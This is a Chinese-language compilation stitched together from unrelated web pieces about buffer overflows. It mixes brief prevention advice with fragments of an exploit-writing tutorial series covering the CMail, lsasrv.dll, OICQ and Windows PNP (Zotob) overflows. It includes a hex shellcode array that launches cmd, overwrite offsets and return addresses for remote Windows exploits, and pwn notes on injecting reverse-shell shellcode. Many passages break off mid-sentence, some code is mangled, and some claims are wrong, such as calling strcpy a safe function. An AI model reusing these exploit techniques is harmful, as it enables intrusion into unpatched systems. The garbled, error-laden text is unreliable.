菜鸟版Expliot编写指南的PNP溢出
内存溢出漏洞原理
内存溢出漏洞原理
内存溢出是一种常见的安全漏洞,其原理是在程序运行时分配了超过系统所能分配的内存空间,导致系统崩溃或出现其他安全问题。
内存溢出漏洞的原理可以分为以下几个步骤:
缓冲区溢出:在程序运行时,可能会向数组、队列、缓冲区等内存区域写入超出其容量的数据,导致缓冲区溢出。
覆盖关键数据:缓冲区溢出后,超出缓冲区容量的数据会覆盖关键数据,如程序的返回地址、函数指针、异常处理函数等。
控制程序流程:攻击者通过覆盖关键数据,可以控制程序的执行流程,如跳过关键检查、执行恶意代码等。
执行恶意代码:攻击者可以通过覆盖关键数据,控制程序的执行,使其跳转到恶意代码,如shellcode、病毒、木马等。
为了防止内存溢出漏洞,可以采取以下措施:
编码过滤:在编写代码时,对输入的数据进行过滤和验证,防止输入过长的数据或非法字符。
限制函数参数:在编写函数时,限制函数的参数类型和长度,避免使用过多的内存。
使用安全的库函数:使用安全的库函数,如strtol、strcpy 等,可以避免缓冲区溢出的问题。
增加堆栈保护:增加堆栈保护机制,如使用ASLR(地址空间布局随机化)、DEP(数据执行保护)等技术,可以防止攻击
者覆盖关键数据。
总之,内存溢出漏洞是一种常见的安全漏洞,其原理是攻击者通过缓冲区溢出覆盖关键数据,控制程序的执行流程,从而执行恶意代码。
为了防止内存溢出漏洞,可以采取编码过滤、限制函数参数、使用安全的库函数、增加堆栈保护等措施。
名词解释 缓冲区溢出
名词解释缓冲区溢出
缓冲区溢出是一种常见的计算机安全漏洞,也是黑客攻击中最常用的手段之一。
缓冲区是指计算机内存中的一段区域,用于存放数据。
当程序在运行过程中向缓冲区写入数据时,如果写入的数据超出了缓冲区的容量,就会导致缓冲区溢出。
这种溢出现象可能会导致程序崩溃、数据损坏、系统崩溃等问题,更严重的情况下还可能被黑客利用,进行远程攻击、篡改数据等恶意行为。
缓冲区溢出的原理很简单,就是程序在执行过程中,没有对输入数据的长度进行严格的限制,导致输入数据超出了缓冲区的容量,从而覆盖了缓冲区之外的内存空间。
这种溢出现象可能会导致程序崩溃,或者执行错误的指令,从而导致系统出现异常。
缓冲区溢出的危害非常大,因为黑客可以通过利用缓冲区溢出漏洞来执行任意代码,从而控制整个系统。
这种攻击方式被称为“堆栈溢出攻击”,黑客利用这种攻击方式可以轻松地绕过系统的安全措施,获取系统的管理员权限,甚至篡改系统中的重要数据。
为了防止缓冲区溢出漏洞的出现,需要采取一些有效的措施。
首先,程序设计人员应该在编写程序时,对输入数据的长度进行严格的限制,避免输入数据超出缓冲区的容量。
其次,应该对程序进行严格的测试,发现和修复可能存在的缓冲区溢出漏洞。
最后,可以采用一些特殊的技术来防止缓冲区溢出漏洞的出现,例如使用堆栈保护技术、使用地址随机化技术等。
缓冲区溢出是一种常见的计算机安全漏洞,但是通过采取有效的
措施,可以有效地防止这种漏洞的出现。
程序设计人员应该加强对缓冲区溢出漏洞的认识,不断提高自己的安全意识,从而避免因为安全漏洞而导致的严重后果。
缓冲区溢出原因及解决
第三讲缓冲区溢出n1 缓冲区溢出问题简介n2 几种典型的缓冲区溢出n3 防范措施缓冲区溢出1 缓冲区溢出问题简介缓冲区溢出是一种常见的漏洞.据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上.这种错误的状态发生在写入内存的数据超过了分配给缓冲区的大小的时候,就像一个杯子只能盛一定量的水,如果放到杯子中的水太多,多余的水就会一出到别的地方。
由于缓冲区溢出,相邻的内存地址空间被覆盖,造成软件出错或崩溃。
如果没有采取限制措施,可以使用精心设计的输入数据使缓冲区溢出,从而导致安全问题。
缓冲区溢出缓冲区溢出问题的历史很长一段时间以来,缓冲区溢出都是一个众所周知的安全问题, C程序的缓冲区溢出问题早在70年代初就被认为是C语言数据完整性模型的一个可能的后果。
这是因为在初始化、拷贝或移动数据时,C语言并不自动地支持内在的数组边界检查。
虽然这提高了语言的执行效率,但其带来的影响及后果却是深远和严重的。
•1988年Robert T. Morris的finger蠕虫程序.这种缓冲区溢出的问题使得Internet几乎限于停滞,许多系统管理员都将他们的网络断开,来处理所遇到的问题. •1989年Spafford提交了一份关于运行在VAX机上的BSD版UNIX的fingerd的缓冲区溢出程序的技术细节的分析报告,引起了部分安全人士对这个研究领域的重视•1996年出现了真正有教育意义的第一篇文章, Aleph One在Underground发表的论文详细描述了Linux系统中栈的结构和如何利用基于栈的缓冲区溢出。
缓冲区溢出Aleph One的贡献还在于给出了如何写开一个shell的Exploit的方法,并给这段代码赋予shellcode的名称,而这个称呼沿用至今,我们现在对这样的方法耳熟能详--编译一段使用系统调用的简单的C程序,通过调试器抽取汇编代码,并根据需要修改这段汇编代码。
•1997年Smith综合以前的文章,提供了如何在各种Unix变种中写缓冲区溢出Exploit更详细的指导原则。
菜鸟溢出手册
Copycode
subgenbuf{
my$str=shift;
my$buf;
$buf=$strx300;#把$str的内容重复300次
return$buf;
}
我们先重复三百次$str里的内容,而$str里是36个字节。这样的话发送的全部字节一共是:36×300=10800。看一下我们的olly有什么反应吧,如图二。
$sock->autoflush(1);
my$res=<$sock>;
print$res,"\n";
print"buffersentare:\n";
print$buf,"\n";
print"bufferlengthis:\n";
printlength($buf),"\n";#再屏幕上打出$buf的长度
ollydebug中文版 调试工具,我的最爱。
jmpesp sunx写的查找jmpesp指令地址的工具
东西就这么多,把mailcarrier、jmpesp以及ollydebug都传到我们的虚拟机系统中并把mailcarrier安装好。如图一。
=800)window.open('http://222.174.144.130/tools/cnycsc/1.gif');"onload="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';">
缓冲区溢出漏洞实验
缓冲区溢出漏洞实验⼀、实验简介缓冲区溢出是指程序试图向缓冲区写⼊超出预分配固定长度数据的情况。
这⼀漏洞可以被恶意⽤户利⽤来改变程序的流控制,甚⾄执⾏代码的任意⽚段。
这⼀漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
原理详解:缓冲区是内存中存放数据的地⽅。
在程序试图将数据放到机器内存中的某⼀个位置的时候,因为没有⾜够的空间就会发⽣缓冲区溢出。
⽽⼈为的溢出则是有⼀定企图的,攻击者写⼀个超过缓冲区长度的字符串,植⼊到缓冲区,然后再向⼀个有限空间的缓冲区中植⼊超长的字符串,这时可能会出现两个结果:⼀是过长的字符串覆盖了相邻的存储单元,引起程序运⾏失败,严重的可导致系统崩溃;另⼀个结果就是利⽤这种漏洞可以执⾏任意指令,甚⾄可以取得系统root特级权限。
缓冲区是程序运⾏的时候机器内存中的⼀个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。
⼤多时为了不占⽤太多的内存,⼀个有动态分配变量的程序在程序运⾏时才决定给它们分配多少内存。
如果程序在动态分配缓冲区放⼊超长的数据,它就会溢出了。
⼀个缓冲区溢出程序使⽤这个溢出的数据将汇编语⾔代码放到机器的内存⾥,通常是产⽣root权限的地⽅。
仅仅单个的缓冲区溢出并不是问题的根本所在。
但如果溢出送到能够以root权限运⾏命令的区域,⼀旦运⾏这些命令,那可就等于把机器拱⼿相让了。
通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从⽽破坏程序的堆栈,进⽽运⾏精⼼准备的指令,以达到攻击的⽬的。
⼆、缓冲区溢出实例1、利⽤数组越界进⾏缓冲区溢出#include<stdio.h>void HelloWord(){printf("Hello World");getchar();}void Fun(){int arr[5] = {1,2,3,4,5};arr[6] = (int) HelloWord;}int main(){Fun();return 0;}2、利⽤strcpy()函数进⾏缓冲区溢出攻击#include "stdafx.h"#include <stdio.h>#include <string.h>char shellcode3[] = "\x68\x72\x6F\x63\x41\x68\x47\x65""\x74\x50\xE8\x41\x00\x00\x00\x50\x68\x4C\x69\x62\x72\x68\x4C\x6F""\x61\x64\xE8\x31\x00\x00\x00\x50\x68\x72\x74\x00\x00\x68\x6D\x73""\x76\x63\x54\xFF\xD0\x83\xC4\x08\x68\x65\x6D\x00\x00\x68\x73\x79""\x73\x74\x54\x50\xFF\x54\x24\x14\x83\xC4\x08\x68\x63\x6D\x64\x00""\x54\xFF\xD0\x83\xC4\x14\xEB\x67\x55\x8B\xEC\x64\xA1\x30\x00\x00""\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x70\x28\x80\x7E\x0C\x33""\x75\xF5\x8B\x40\x10\x8B\xF8\x03\x7F\x3C\x8B\x7F\x78\x03\xF8\x8B""\xDF\x8B\x7B\x20\x03\xF8\x33\xC9\x8B\x34\x8F\x03\xF0\x41\x8B\x54""\x24\x08\x39\x16\x75\xF2\x8B\x54\x24\x0C\x39\x56\x04\x75\xE9\x8B""\x7B\x24\x03\xF8\x8B\x0C\x4F\x81\xE1\xFF\xFF\x00\x00\x8B\x7B\x1C""\x03\xF8\x49\xC1\xE1\x02\x8B\x3C\x0F\x03\xC7\x5D\xC2\x08\x00";#pragma comment(linker, "/section:.data,RWE")void Sub_3(){__asm{mov eax, offset shellcode3jmp eax}}void overflow(const char* input){char buf[8];printf("Virtual address of 'buf' = Ox%p\n", buf);strcpy(buf, input);}void fun(){printf("Function 'fun' has been called without an explicitly invocation.\n");printf("Buffer Overflow attack succeeded!\n");}int main(){printf("Address of 'overflow' = Ox%p\n", overflow);printf("Sddress of 'fun' = Ox%p\n", fun);printf("Sddress of 'Sub3' = Ox%p\n", Sub_3);char input[] = "AAAbbbbbbaaa\xA5\x10\x41\x00";//char input[] = "AAAAAAA";overflow(input);return 0;}3、本次实验⽤的测试代码为:#include <stdio.h>int main(){char *name[2];name[0] = "/bin/sh";name[1] = NULL;execve(name[0], name, NULL);}⼀般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。
操作系统溢出处理方案
操作系统溢出处理方案
溢出指的是当一个程序尝试写入超过预设边界的数据时发生的情况。
这种情况可能会导致严重的安全漏洞,其中最常见的就是缓冲区溢出。
为了有效地处理溢出,下面提出一些操作系统方案。
首先,采用数据验证来防止溢出。
操作系统可以通过强制限制用户输入的长度来防止缓冲区溢出。
例如,在读取字符串时,操作系统可以设置一个最大长度,如果输入的字符串超过这个长度,就会被截断或拒绝。
其次,采用堆栈保护技术来防止溢出。
操作系统可以实现一种称为堆栈保护的机制,以确保堆栈的完整性。
这种机制可以在程序执行期间监视堆栈的使用情况,如果发现溢出或其他异常情况,就会直接终止程序。
另外,使用ASLR(地址空间布局随机化)技术来减少溢出攻击的成功率。
ASLR通过随机地分配程序的内存地址,使攻击者难以准确地确定攻击目标的位置。
这可以大大增加攻击者成功利用溢出漏洞的难度。
此外,操作系统还可以实施内存保护机制,例如可写禁止(W^X)策略,即将内存区域分为可执行和可写两个部分,可执行区域不允许写入,可写区域不允许执行。
这样可以有效地减少利用溢出漏洞进行代码注入的可能性。
最后,在设计和编码过程中,可以采用一些安全开发准则来降
低溢出的发生概率。
例如,使用安全的字符串处理函数(如strcpy_s、strncpy_s等),合理使用缓冲区大小,避免使用过时的和容易受到溢出攻击的函数等。
总结来说,操作系统溢出处理的关键是采用多种防护措施,包括数据验证、堆栈保护、ASLR技术、内存保护机制以及安全开发准则等。
通过这些综合的措施,可以大大降低溢出漏洞的发生概率,提高系统的安全性。
[原创]《菜鸟版exploit编写指南》之二lsasrv.dll远程溢出
buf[2*2845] = 0x15;
buf[2*2846] = 0xFA;
buf[2*2847] = 0x7F;
还记得上次说的吗,数据要高位取反,写出来就是这个样子了。按照前面说了很多次的步骤,ollydbg附加到lsass.exe,运行VC程序(4.cpp),然后F9,看看我们可爱的ollydbg告诉我们什么?如图4所示。
能够触发漏洞的程序我已经做成了1.cpp,能在配套光盘中找到。这个程序尽管不长,但要是我贴在正文里面骗取千字一百五十元的稿费,独行者一定会背着菜刀乘最近的一趟Z1到上海来砍我的(wtf:我有你说得那么抠门吗?早知道上期就给你发8块/千字的稿费了,给你150/千字真是浪费。)……话说回来,我想你应该已经找到了这个程序吧?确认你的机器是win2k而且没有补上这个漏洞的补丁,打开VC编译通过——什么?你点了运行?好吧,你应该可以看到一个60秒重起的对话框了,嘿嘿,如图1所示。这个溢出被触发后,lsass.exe因为无法处理的异常而被迫终止,接着整个操作系统也会跟着出问题,所以,你还是等等吧……
等ollydbg加载完所有的模块以后,按一下F9让lsass.exe继续运行,我们再回过头去修改1.cpp。溢出已经顺利触发,下一步应该是精确定位溢出点,如果忘了怎样去定位,我们马上来复习一下:
for(i=0; i<MAXLEN-1; i++)
buf[2*i] = 'A';
这一段,原来是填充的大量的'A',按照我们上次说的两次定位法,把这里反复填充上ASCII码为100到200的数,这样子改:
图4
执行到我们的代码上了!不要怀疑,确实执行到我们提交的东西上去了,尽管出了错——我们下一步就是要消除这最后一点错误。来看看执行到了什么地方:在左下角的地址栏里面单击右键,选择前往->表达式,填上eip。注意到了没有,eip执行到的地方,数据刚好是80 80 80 80 71 15 FA 7F,就在我们填写的那个地址0x7FFA1571的前四个字节,算一下2844-4=2880,也就是说对应到我们的程序上面去,i=2880开始,应该是shellcode!
windows下的溢出程序编写技巧
he = gethostbyname(server);
if(!he)
{
WSACleanup( );
printf("\n Can't get the ip of %s !\n",server);
exit(1);
#define OICQPORT 4000
#define OICQOVERADD 7+0x41C
#define OVERADD OICQOVERADD
#define STR0 0
#define STR1 11
#define STR2 23
#define STR3 33
"do not have a 32-bit "
"connection to the Internet.");
exit(1);
}
if(argc <2)
{
WSACleanup( );
fprintf(stderr,"\n nuke oicq .\n copy by yuange 2000.4.1. \n wellcome to my homepage .");
char buff1[]="\x02\x01\x07\x00\x78\x11\x22\x33\x33\x33\x33\x33\x1f\x30\x1f\x37\x35\x1f""2000-4-10""\x1f""12:00:00""\x1f";
如何处理代码中的缓冲区溢出错误
如何处理代码中的缓冲区溢出错误缓冲区溢出是指当程序向一个固定大小的缓冲区写入超过其容量的数据时导致的错误。
这种错误可能会导致安全漏洞,攻击者可以利用它来执行恶意代码、修改数据,甚至控制整个系统。
因此,代码中的缓冲区溢出错误必须得到妥善处理,以确保系统的安全性和稳定性。
要处理代码中的缓冲区溢出错误,我们可以采取以下几个步骤:1.使用安全的字符串操作函数:许多编程语言提供了安全的字符串操作函数,如strcpy_s()、strncpy_s()等,这些函数可以限制字符串的长度,避免溢出。
在编写代码时,应尽量使用这些安全的函数替代不安全的函数。
2.检查输入数据的长度:在接收外部输入时,应该对输入数据的长度进行验证,并确保其不会超出缓冲区的容量。
可以使用strlen()函数或者其他适当的函数来检查输入数据的长度。
3.限制缓冲区的容量:在定义缓冲区时,应该合理估计所需空间,并分配足够的容量以避免溢出。
如果缓冲区需要动态分配,应该在分配内存时考虑到数据的长度。
4.使用编译选项和工具:一些编译器提供了选项可以检查缓冲区溢出错误,例如使用-fstack-protector选项和启用编译器自带的堆栈保护机制。
此外,还有一些静态分析工具可以扫描代码中的缓冲区溢出错误,并给出相应的警告。
5.应用沙盒和权限控制:在开发网络应用程序时,可以使用沙盒技术将程序隔离在一个安全的环境中,以避免缓冲区溢出错误对整个系统的影响。
此外,通过正确设置程序的权限,可以限制攻击者对系统的访问权限,从而减少潜在的风险。
6.及时修复缓冲区溢出错误:如果发现代码中存在缓冲区溢出错误,应该尽快修复。
在修复的过程中,可以使用一些技术手段,如输入验证、缓冲区长度的检查、安全的字符串操作等来进行修复。
总之,处理代码中的缓冲区溢出错误对于确保系统的安全性和稳定性非常重要。
通过使用安全的字符串操作函数、检查输入数据的长度、限制缓冲区的容量、使用编译选项和工具、应用沙盒和权限控制以及及时修复缓冲区溢出错误等方法,可以有效地减少缓冲区溢出错误对系统的潜在风险。
缓冲区溢出的防护措施
缓冲区溢出的防护措施1.输入验证:合理验证接受的所有输入数据,包括来自用户的输入和外部数据。
确保输入数据的长度不会超过缓冲区的大小。
检查输入数据是否符合预期的格式和区间,并拒绝无效或异常的输入。
2.输入过滤:对输入数据进行过滤和清洗,删除或转义特殊字符和敏感注释。
采用白名单过滤机制,只允许合法的字符和格式通过。
忽略或拒绝非法或异常的输入。
3. 安全编程:开发人员应遵循安全编码实践,编写安全且健壮的代码。
使用安全库和安全API进行开发,避免使用不安全的函数和方法,如strcpy、gets等容易有缓冲区溢出风险的函数。
4. 内存分配和管理:使用安全的内存分配和管理函数,如strncpy、snprintf等,设置正确的缓冲区大小,确保不会超出分配的内存空间。
避免使用动态分配内存函数时缺乏长度检查的不安全函数,如malloc和realloc。
5. 栈保护:利用现代编译器提供的栈保护技术,如栈溢出保护(StackGuard)、堆栈保护(StackShield)等。
这些技术通过在堆栈桢中间插入特殊的随机值,检测并阻止溢出攻击。
6.数据执行保护(DEP):DEP技术可以防止缓冲区溢出攻击中的代码执行部分。
通过将内存区域标记为不可执行,或者只允许执行已知信任的代码,可以防止攻击者在植入恶意代码后执行它。
7.地址空间布局随机化(ASLR):ASLR技术可以防止攻击者利用缓冲区溢出漏洞并重用已知地址来执行攻击。
ASLR通过在运行时随机化可执行文件的内存布局,使地址更难被预测。
8.操作系统补丁和更新:及时安装操作系统的安全补丁和更新,以修复已知的安全漏洞。
通过升级至最新的操作系统版本,可以使用更安全的编译器和工具链。
9.流量监控和入侵检测系统:部署流量监控系统和入侵检测系统(IDS)来检测缓冲区溢出攻击尝试,并及时采取相应的应对措施。
这些系统可以监控网络流量和主机行为,识别有潜在风险的操作行为。
10.安全意识培训:对开发人员进行安全意识培训,教育他们了解缓冲区溢出漏洞的危害和防护方法。
ShellCode编写实例
ShellCode编写实例 来源:互联网适合读者:漏洞研究员、入侵爱好者前置知识:C、汇编阅读能力,调试工具使用能力WTF:最近网络上开始流传各种各样的ShellCode,很多朋友都开始关注ShellCode的编写和相关技术的实现方法。
黑防不断推出的“ ...适合读者:漏洞研究员、入侵爱好者前置知识:C、汇编阅读能力,调试工具使用能力WTF:最近网络上开始流传各种各样的ShellCode,很多朋友都开始关注ShellCode的编写和相关技术的实现方法。
黑防不断推出的“菜鸟版Exploit编写指南”系列文章受到很多热爱系统漏洞的朋友们的喜爱,但大家在了解基本的漏洞调试、利用方法后,开始关注更高层次的ShellCode 的编写。
本期“溢出研究”栏目推出了《打造Windows下自己的ShellCode》一文,讲解了Windows下ShellCode的编写步骤,并且以打开DOS窗口的代码为例,详细介绍了编写、提取ShellCode的整个过程。
但开一个本地DOS窗口的功能还是略显简陋。
在网络环境下,ShellCode至少要能开一个网络连接后门,或者能上传下载文件才算有用。
所以本篇文章更实际一点,难度也高些。
希望给国内的网络安全爱好者们送上一道色香味具全的新年大餐!ShellCode编写实例——突破防火墙的ShellCode现在网络上获得控制台的ShellCode要么是在目标机上开一个端口,等待攻击者连接;要么是让目标机主动连接攻击者的主机,俗称反向连接。
但前种方法一般都会被防火墙挡住,而后者反连不但需要攻击者有一个公网IP,而且也会被目标机端禁止外连访问的防火墙挡掉。
那有没有更好的办法呢?当然有了!不然大家认为WTF老大会让我在这里瞎折腾?!第一种方法就是复用攻击时的Socket。
我们在给目标机发送攻击字符串的时候,就使用了Socket,如果还存在,我们把它找到并回收利用。
ShellCode完成的功能是查找进程中所有的Socket并依次判断,如果是那个发送攻击字符串的Socket,就使用它来传文件,开后门等等。
溢出的实验报告
一、实验目的1. 了解溢出的概念和产生原因;2. 掌握溢出攻击的原理和常见类型;3. 熟悉溢出漏洞的检测和防护方法。
二、实验环境1. 操作系统:Windows 10;2. 编程语言:C/C++;3. 编译器:MinGW;4. 虚拟机:VMware Workstation。
三、实验原理溢出(Buffer Overflow)是指当向缓冲区写入数据时,超出了缓冲区的实际容量,导致数据覆盖到相邻内存区域的现象。
当溢出的数据覆盖到关键数据结构或返回地址时,攻击者可以利用这一漏洞执行任意代码,从而实现攻击。
四、实验步骤1. 编写溢出程序```c#include <stdio.h>#include <stdlib.h>void vulnerable_function(char str) {char buffer[10];strcpy(buffer, str);printf("You said: %s\n", buffer);}int main() {char input[100];printf("Enter your name: ");scanf("%99s", input);vulnerable_function(input);return 0;}```2. 生成可执行文件在MinGW环境下,使用gcc编译器编译程序:```bashgcc -o overflow overflow.c```3. 运行溢出程序运行编译好的程序,输入超过缓冲区大小的字符串:```bash./overflow```4. 分析溢出过程当输入超过缓冲区大小的字符串时,溢出的数据会覆盖到相邻内存区域,包括返回地址。
攻击者可以通过构造特定的字符串,修改返回地址,使其指向恶意代码的地址,从而实现攻击。
5. 编写漏洞检测代码```c#include <stdio.h>#include <stdlib.h>void vulnerable_function(char str) {char buffer[10];strcpy(buffer, str);printf("You said: %s\n", buffer);}int main() {char input[100];printf("Enter your name: ");scanf("%99s", input);vulnerable_function(input);printf("Return address: %p\n", &input);return 0;}```运行漏洞检测代码,观察返回地址是否被覆盖:```bash./overflow```6. 防护溢出漏洞1) 使用安全的字符串处理函数,如strncpy、strncat等,限制写入数据的长度;2) 使用栈保护技术,如堆栈标记、堆栈守卫等,防止溢出数据覆盖返回地址;3) 使用地址空间布局随机化(ASLR)技术,增加攻击难度;4) 使用编译器提供的栈保护选项,如gcc的-fstack-protector选项。
pwn栈溢出解题思路笔记
pwn栈溢出解题思路笔记【原创实用版】目录1.pwn 栈溢出概述2.解题思路3.解题步骤4.实战案例5.总结正文一、pwn 栈溢出概述pwn 是一种基于寄存器和内存的二进制漏洞利用技术,通过修改程序的内存布局,实现代码执行的控制。
在 pwn 中,栈溢出是一种常见的漏洞利用方式,它通过向栈内存中注入恶意代码,从而实现对程序流程的控制。
二、解题思路1.分析程序漏洞:首先要对程序进行逆向分析,找到可能存在栈溢出漏洞的地方。
这通常需要对程序的代码和数据结构有深入的理解。
2.确定溢出长度:在确定漏洞位置后,需要计算出溢出的长度。
这需要考虑到操作系统的内存布局和栈的大小。
3.编写 shellcode:根据溢出长度,编写合适的 shellcode,即一段长度适中、可以被注入到栈内存中的二进制代码,用于实现恶意功能。
4.修改栈指针:通过修改栈指针,将 shellcode 注入到栈内存中,并覆盖原有代码。
5.重新分配栈:为了执行注入的 shellcode,需要调整栈的大小,以便将 shellcode 加载到栈中。
三、解题步骤1.使用 IDA 等工具对程序进行逆向分析,找到存在漏洞的函数。
2.根据漏洞位置和操作系统的内存布局,计算出需要的溢出长度。
3.编写合适的 shellcode,并确保其长度不超过溢出长度。
4.在漏洞位置附近,添加一段 NOP(无操作)指令,用于填充溢出的空间。
5.将 shellcode 和 NOP 指令放入到栈内存中,并覆盖原有代码。
6.通过修改栈指针,将堆栈重定向到注入的 shellcode。
7.调整栈大小,以便将 shellcode 加载到栈中。
四、实战案例以某存在栈溢出漏洞的程序为例,按照上述步骤进行漏洞利用:1.分析程序,发现函数 func 存在栈溢出漏洞。
2.计算溢出长度为 12 字节。
3.编写长度为 12 字节的 shellcode,实现反弹 shell 功能。
4.在 func 函数的返回地址附近添加 NOP 指令,填充溢出空间。
采众家之长分析及改进Cmail漏洞
适合读者:入侵爱好者、漏洞分析员前置知识:SoftICE、Ollydbg基本使用方法、基本汇编语法WTF:黑防11期推出了ISNO发现的Ccproxy远程溢出漏洞,受到了很多朋友的关注,EXP也广泛的流传着。
很多菜鸟朋友们感受到了漏洞的乐趣,都争先恐后的想学习漏洞发现、编写技术,适合读者:入侵爱好者、漏洞分析员前置知识:SoftICE、Ollydbg基本使用方法、基本汇编语法WTF:黑防11期推出了ISNO发现的Ccproxy远程溢出漏洞,受到了很多朋友的关注,EXP也广泛的流传着。
很多菜鸟朋友们感受到了漏洞的乐趣,都争先恐后的想学习漏洞发现、编写技术,让自己也过过黑客瘾。
本文就是利用我们原来刊登的《菜鸟版Exploit编写指南》系列文章中所讲到的技术,围绕如何发现并分析溢出漏洞而讲的,希望更多的新手能掌握这样的分析方法,全都成为分析漏洞的高手!“菜鸟版Exploit编写指南”之八:采众家之长分析及改进Cmail漏洞文/图LoveMelody看了ISNO大虾的《我是如何发现CCProxy漏洞的》,心里痒痒的,也想按照ISNO大虾介绍的方法,依葫芦画瓢的分析分析一个漏洞。
分析什么漏洞呢?F.Zh在《菜鸟版Exploit编写指南》的开山之作中,详细讲解了Cmail Server漏洞的利用过程,让我这样的菜鸟受益匪浅,以后屡用其法。
但F.Zh在文章的最后,留下了一句话:“定位,如果是固定长度的话,确实可以通过两次溢出定位,但实际上这个是和安装的路径有关的,还有没有好一点的方法来定位呢?”什么意思我不大明白,F.Zh也没有再说下去,那我们就尝试分析Cmail Server 吧,看看为什么覆盖那么长的字符串正好实现溢出;也看看能不能解决F.Zh说的不定长问题;当然,更重要的,是复习总结下ISNO和F.Zh介绍的方法,并改进改进,让它更适合我们菜鸟使用。
分析安装好一个CmailServer 4.00beta1,应该有漏洞吧,如图1所示。
菜鸟版Expliot编写指南的PNP溢出
expliot:菜鸟版Expliot编写指南的PNP溢出漏洞分析+利用疯狂代码 / ĵ:http://Security/Article73764.html来源:安全中国个月前和朋友聊天谈到现在网络上蠕虫、病毒是越来越猖狂前年“冲击波”去年“震荡波”今年还不知道又出什么呢?话音刚落个被命名为Zotob蠕虫病毒已经在8月15日开始传播后来几天该蠕虫变种相继产生对网络造成了定影响Zotob蠕虫是基于Windows2000 ;以上版本即插即用(PNP)服务中产生堆栈溢出漏洞远程攻击者通过TCP ;445或139端口向该服务提交畸形请求溢出后可能获取系统权限大家防范意识都比较强了很多用户都及时打了补丁而般个人防火墙默认规则也封堵了TCP ;139或445端口该漏洞破坏力已经明显不如以前“冲击波”们了言归正传我们还是来分析这个漏洞、漏洞起因及影响范围漏洞起因前面已经简单提到了我们可以参见漏洞公告从漏洞公告我们可以看出两点:1.漏洞起因:Windows ;2000版本以上PNP服务存在远程堆栈溢出漏洞“远程”是该服务可以通过RPC接口来远程2.影响范围:漏洞只对Windows ;2000 ;有真正威胁而要攻击XP和Windows2003均有定限制对于这个RPC接口如果在Windows ;2000上则可以远程匿名进行;在 ;Windows ;XP ;SP0、SP1上需要以个有效账号登录后才可以;在Windows ;XP ;SP2和Windows ;2003上只有管理员组用户才能远程其它账号只能本地2、远程溢出漏洞宏定位分析这部分工作我认为很重要因此在本文中正好讲清楚些所谓“宏定位”就是指我们应该对我们实现目标进行预先分析调试漏洞是这样做其它工作也是如此这步做好了我们在后面可以少走弯路1.对具有溢出漏洞服务进程归类这里我们将服务进程分为两类类是服务自身绑定了端口可以是TCP ;或UDP端口;另类当然是服务进程自身没有绑定任何端口对于前类服务远程机器直接通过传输层协议(TCP或UDP协议)+应用层协议(如RPC协议、http协议)来访问服务IIS、FTP、HTTP都属于这类服务如果他们服务存在漏洞我们可以通过重复绑定端口、复用来绕过防火墙检测对于后类服务远程机器通过传输层协议+命名管道(IPC$)+应用层协议来访问服务这也就是为什么我们访问LSASS、WorkStation等服务时候要先和远程机器建立IPC$空连接原因这类漏洞要利用要躲避防火墙检测实现起来要困难些这个我在后门会提到感染利用PNP溢出漏洞蠕虫后我们机器会弹出系统显示“系统处理c:\winnt\system32\services出乎意料终止”关机提示框根据以往经验我们可以看出该漏洞是存在于Services进程中这点和WorkStation服务样因此归为后类2.服务进程接收缓冲区长度是否足够这个问题集中体现在用于接收请求(如recv、recvfrom等)第3个参数len上如果指定len很小我们是无法次性传送功能复杂很长ShellCode这时就必须采用其他传送方式例如把ShellCode分段传送在10期另篇溢出文章编写分段传送ShellCode有介绍接收缓冲区长度问题般在服务进程自身绑定了端口溢出漏洞中出现因此PNP服务中可以暂不考虑3.异常发生位置这个问题是指我们向服务提交超长请求后会覆盖问题返回地址EIP等指针当返回时候跳转到我们覆盖数据指定地址时候可能发生异常;另外种情况就是在该返回的前由于我们覆盖了局部变量中其它指针导致对其进行引用时候发生异常简而言的就是ret前和ret后发生异常区别对于ret后异常我们可能需要通过KiUserExceptionDispatcher和监视点思路方法来联合定位溢出点并且漏洞利用方式有两种:改写EIP为jmp ;esp ;地址或改写SEH指针;而对于ret前异常我们般通过KiUserExceptionDispatcher来定位溢出点就够了利用时候也只能改写 ;SEH指针我们预先并不知道PNP溢出漏洞属于哪类不过等下面进步调试后就明确了4.如果是问题ret后异常则判断该约定这个问题是最容易被忽略如果我们能够采用jmp ;esp利用方式话可能很多人会在覆盖jmp ;esp位置紧接4个字节开始地方连接ShellCode问题就出在这里不管是Windows系统进程、第3方软件Software、还是我们自己用VC6、VC7编写只要和C/C相关般来说可以分为__cdecl和__stdcall两种约定采用__cdecl在返回需要者恢复实参占用堆栈也就是只执行返回指令为ret我们把ShellCode接到保存EIP后面是没问题;而采用__stdcall在返回是执行指令ret ;n自己恢复实参占用堆栈我们如果把ShellCode接到保存EIP后面话开始n个字节代码就执行不到了这也就是为什么我们在构造些系统进程溢出漏洞(如RPC、WorkStation、LSA等)攻击代码时候jmp ;esp地址后要有若干保留字节原因好了带着剩下问题我们继续3、PNP溢出漏洞进步分析+利用现在牛人们利用编写漏洞代码速度是越来越快了蠕虫出来两、 3天攻击代码就已经公布出来了既然有现成我们就直接拿过来用了于是我把 ;上公布代码拿来整理后编译执行结果目标机器还是发生了异常幸好是用VMWare(+Windows ;2000 ;SP4)作测试否则用我自己机器岂不麻烦?很显然攻击代码存在问题再看看网上代码中地址填充:EvilRPC.SDA[76] ;= ;0x3e;EvilRPC.SDA[77] ;= ;0x1e;EvilRPC.SDA[78] ;= ;0x02;EvilRPC.SDA[79] ;= ;0x75;这个地址不是我们熟悉地址需要进步分析这样漏洞分析VMWARE和SoftICE组合是再合适不过了顺便向大家推荐:)启动VMWARE中SoftICE设置断点: ;bpx ;ntdll!KiUserExceptionDispatcher发生任何异常SoftICE都会先在这个第条指令停顿下来有关KiUserExceptionDispatcher及其参数详细介绍2004年黑防10期ISNO我是怎样发现CCPROXY溢出漏洞文中有详细介绍我在05年8期中对Realplay溢出漏洞分析中也有详细介绍大家可以参考这里我只结合本漏洞谈谈OK重新攻击VMWare系统果然弹出了SoftICE并停留在KiUserExceptionDispatcher入口处输入命令addr可以看到确是Services进程空间发生了异常输入命令:d ;(*(esp ;+ ;4) ;+ ;b4), ;得到异常发生时:EBP ;= ;0x005bf874, ;EIP ;= 